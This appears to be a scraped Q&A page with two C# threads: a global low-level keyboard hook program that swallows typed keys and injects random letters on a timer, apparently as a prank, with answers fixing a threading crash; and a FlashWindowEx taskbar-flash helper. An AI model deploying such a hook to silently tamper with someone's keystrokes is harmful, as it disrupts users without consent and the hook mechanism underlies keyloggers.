#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook() {
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook() {
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook() {
_hookProc = new keyboardHookProc(hookProc);
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook() {
UnhookWindowsHookEx(hhook);
hhook = IntPtr.Zero;
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
if (code >= 0) {
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key)) {
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
KeyDown(this, kea) ;
} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
keyboardHookProc _hookProc;
#endregion
}
}
Here is the entry point to the application:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using Utilities;
using System.Timers;
namespace KeyRemapWindowsForm
{
static class Program
{
static bool _isHookActive = true;
static globalKeyboardHook gkh = new globalKeyboardHook();
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
System.Timers.Timer HookTimer = new System.Timers.Timer(60000);
HookTimer.Elapsed += new ElapsedEventHandler(HookTimer_Elapsed);
HookTimer.Start();
Begin();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run();
GC.KeepAlive(HookTimer);
}
// Specify what you want to happen when the Elapsed event is
// raised.
static void HookTimer_Elapsed(object source, ElapsedEventArgs e)
{
if (_isHookActive)
{
End();
}
else
{
Begin();
}
}
static void Begin()
{
gkh = new globalKeyboardHook();
gkh.hook();
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
_isHookActive = true;
}
static void End()
{
gkh.HookedKeys.Clear();
gkh.KeyDown -= new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp -= new KeyEventHandler(gkh_KeyUp);
gkh.unhook();
_isHookActive = false;
}
static void gkh_KeyUp(object sender, KeyEventArgs e)
{
SendKeys.Send(((KeyboardKeys)GetRandomKeyCode()).ToString());
e.Handled = true;
}
static void gkh_KeyDown(object sender, KeyEventArgs e)
{
e.Handled = true;
}
static int GetRandomKeyCode()
{
int RandomNum = 0;
while(RandomNum == 0)
{
Random RanNum = new Random();
RandomNum = RanNum.Next(65, 90);
switch(RandomNum)
{
case 68:
case 69:
case 86:
RandomNum = 0;
break;
default:
break;
}
}
return RandomNum;
}
}
public enum KeyboardKeys
{
/// <summary>
/// The A key.
/// </summary>
A = 65,
/// <summary>
/// The B key.
/// </summary>
B = 66,
/// <summary>
/// The C key.
/// </summary>
C = 67,
/// <summary>
/// The D key.
/// </summary>
D = 68,
/// <summary>
/// The E key.
/// </summary>
E = 69,
/// <summary>
/// The F key.
/// </summary>
F = 70,
/// <summary>
/// The G key.
/// </summary>
G = 71,
/// <summary>
/// The H key.
/// </summary>
H = 72,
/// <summary>
/// The I key.
/// </summary>
I = 73,
/// <summary>
/// The J key.
/// </summary>
J = 74,
/// <summary>
/// The K key.
/// </summary>
K = 75,
/// <summary>
/// The L key.
/// </summary>
L = 76,
/// <summary>
/// The M key.
/// </summary>
M = 77,
/// <summary>
/// The N key.
/// </summary>
N = 78,
/// <summary>
/// The O key.
/// </summary>
O = 79,
/// <summary>
/// The P key.
/// </summary>
P = 80,
/// <summary>
/// The Q key.
/// </summary>
Q = 81,
/// <summary>
/// The R key.
/// </summary>
R = 82,
/// <summary>
/// The S key.
/// </summary>
S = 83,
/// <summary>
/// The T key.
/// </summary>
T = 84,
/// <summary>
/// The U key.
/// </summary>
U = 85,
/// <summary>
/// The V key.
/// </summary>
V = 86,
/// <summary>
/// The W key.
/// </summary>
W = 87,
/// <summary>
/// The X key.
/// </summary>
X = 88,
/// <summary>
/// The Y key.
/// </summary>
Y = 89,
/// <summary>
/// The Z key.
/// </summary>
Z = 90
}
}
EDIT: So I took Jonathan.Peppers advice and put the check for isActive in the keydown event and that worked as far as faking like it was on and off. Now I have run into a new problem. After I have typed for awhile I get an InvalidOperationException with the reason being "Queue Empty" and not sure why it gets emptied when it's running just fine while I'm typing. I left the keyboard hook code alone but updated the application entry point code to the following:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using Utilities;
using System.Timers;
namespace KeyRemapWindowsForm
{
static class Program
{
static bool _isHookActive = true;
static globalKeyboardHook gkh = new globalKeyboardHook();
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
System.Timers.Timer HookTimer = new System.Timers.Timer(10000);
HookTimer.Elapsed += new ElapsedEventHandler(HookTimer_Elapsed);
HookTimer.Start();
Application.ApplicationExit += new EventHandler(OnApplicationExit);
gkh.hook();
gkh.HookedKeys.Add(Keys.S);
gkh.HookedKeys.Add(Keys.E);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run();
GC.KeepAlive(HookTimer);
}
static void OnApplicationExit(object sender, EventArgs e)
{
gkh.unhook();
}
static void HookTimer_Elapsed(object source, ElapsedEventArgs e)
{
if (_isHookActive)
{
_isHookActive = false;
}
else
{
_isHookActive = true;
}
}
static void gkh_KeyUp(object sender, KeyEventArgs e)
{
try
{
if (_isHookActive)
{
e.Handled = true;
}
}
catch
{
gkh.unhook();
Application.Exit();
}
}
static void gkh_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (_isHookActive)
{
SendKeys.Send(((Keys)new Random().Next(65, 90)).ToString());
e.Handled = true;
}
}
catch
{
gkh.unhook();
Application.Exit();
}
}
}
}
EDIT: Stack trace I get from the above code after typing for awhile.
at System.Collections.Queue.Dequeue()
at System.Windows.Forms.SendKeys.SendInput(Byte[] oldKeyboardState, Queue previousEvents)
at System.Windows.Forms.SendKeys.Send(String keys, Control control, Boolean wait)
at System.Windows.Forms.SendKeys.Send(String keys)
at KeyRemapWindowsForm.Program.gkh_KeyDown(Object sender, KeyEventArgs e) in C:\Demos\KeyRemapWindowsForm\Program.cs:line 79
I've just been wrangling a very similar issue so I'm adding what I have found out to help anyone else having the problem.
The problem is the thread the hook is created on.
The System.Timers.Timer class will by default create a thread on the thread pool, not the main UI thread. If this thread goes, so does your hook.
You need to ensure the timer event it called on a thread that doesn't disappear.
You can either:
use the .SynchronizingObject property to ensure the call is made in the same thread as the object you specify.
Or you can marshal it yourself if you put something like this at top of your timer event:
this.InvokeCatchDisposedException(new MethodInvoker(() => HookTimer_Elapsed(sender, e)));
return;
Here's a link to describe the differences between the .net timers I found helpful.
https://msdn.microsoft.com/en-us/magazine/cc164015.aspx
Why don't you leave the hook in place continuously?
You can toggle your hook to not modify the keypress with your timer. Put an if (_hookEnabled) in your gkh_KeyUp and gkh_KeyDown methods.
I would think that setting up the hook would be an expensive operation anyways.

How to make Taskbar Flash on Lost Focus

I stumbled on this code below and tried to implement it in my WinForm App to help my users as many are very NOT tech-savy.
Unfortunately, it does nothing. It does not generate any errors or anything. It just doesn't make it Flash.
Can anyone offer any insight? I have tried it on Win 7(x64) & Win XP (x86) with the same results on both.
I am calling it like so --> TaskbarFlasher.FlashWindow(this); From my Main Form.
[DllImport("user32.dll")]
private extern static bool FlashWindow(IntPtr hwnd, bool bInvert);
[DllImport("user32.dll")]
private extern static IntPtr GetForegroundWindow();
/// <summary>
/// Notifies the user that the application requests attention
/// by flashing the taskbar if the form is not the current window.
/// </summary>
/// <param name="myForm">The form in question.</param>
public static void FlashWindow(Form myForm)
{
// if the current foreground window isn't this window,
// flash this window in task bar once every 1 second
if (GetForegroundWindow() != myForm.Handle)
{
FlashWindow(myForm.Handle, true);
}
}
Nevermind, I figured it out with the Following Links Help --> http://pietschsoft.com/post/2009/01/26/CSharp-Flash-Window-in-Taskbar-via-Win32-FlashWindowEx.aspx
Thanks Chris Pietschmann from a fellow SO Wisconsinite!!
public static class FlashWindow
{
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool FlashWindowEx(ref FLASHWINFO pwfi);
[StructLayout(LayoutKind.Sequential)]
private struct FLASHWINFO
{
/// <summary>
/// The size of the structure in bytes.
/// </summary>
public uint cbSize;
/// <summary>
/// A Handle to the Window to be Flashed. The window can be either opened or minimized.
/// </summary>
public IntPtr hwnd;
/// <summary>
/// The Flash Status.
/// </summary>
public uint dwFlags;
/// <summary>
/// The number of times to Flash the window.
/// </summary>
public uint uCount;
/// <summary>
/// The rate at which the Window is to be flashed, in milliseconds. If Zero, the function uses the default cursor blink rate.
/// </summary>
public uint dwTimeout;
}
/// <summary>
/// Stop flashing. The system restores the window to its original stae.
/// </summary>
public const uint FLASHW_STOP = 0;
/// <summary>
/// Flash the window caption.
/// </summary>
public const uint FLASHW_CAPTION = 1;
/// <summary>
/// Flash the taskbar button.
/// </summary>
public const uint FLASHW_TRAY = 2;
/// <summary>
/// Flash both the window caption and taskbar button.
/// This is equivalent to setting the FLASHW_CAPTION | FLASHW_TRAY flags.
/// </summary>
public const uint FLASHW_ALL = 3;
/// <summary>
/// Flash continuously, until the FLASHW_STOP flag is set.
/// </summary>
public const uint FLASHW_TIMER = 4;
/// <summary>
/// Flash continuously until the window comes to the foreground.
/// </summary>
public const uint FLASHW_TIMERNOFG = 12;
/// <summary>
/// Flash the spacified Window (Form) until it recieves focus.
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <returns></returns>
public static bool Flash(System.Windows.Forms.Form form)
{
// Make sure we're running under Windows 2000 or later
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL | FLASHW_TIMERNOFG, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
private static FLASHWINFO Create_FLASHWINFO(IntPtr handle, uint flags, uint count, uint timeout)
{
FLASHWINFO fi = new FLASHWINFO();
fi.cbSize = Convert.ToUInt32(Marshal.SizeOf(fi));
fi.hwnd = handle;
fi.dwFlags = flags;
fi.uCount = count;
fi.dwTimeout = timeout;
return fi;
}
/// <summary>
/// Flash the specified Window (form) for the specified number of times
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <param name="count">The number of times to Flash.</param>
/// <returns></returns>
public static bool Flash(System.Windows.Forms.Form form, uint count)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL, count, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// Start Flashing the specified Window (form)
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <returns></returns>
public static bool Start(System.Windows.Forms.Form form)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// Stop Flashing the specified Window (form)
/// </summary>
/// <param name="form"></param>
/// <returns></returns>
public static bool Stop(System.Windows.Forms.Form form)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_STOP, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// A boolean value indicating whether the application is running on Windows 2000 or later.
/// </summary>
private static bool Win2000OrLater
{
get { return System.Environment.OSVersion.Version.Major >= 5; }
}
}

Categories

Resources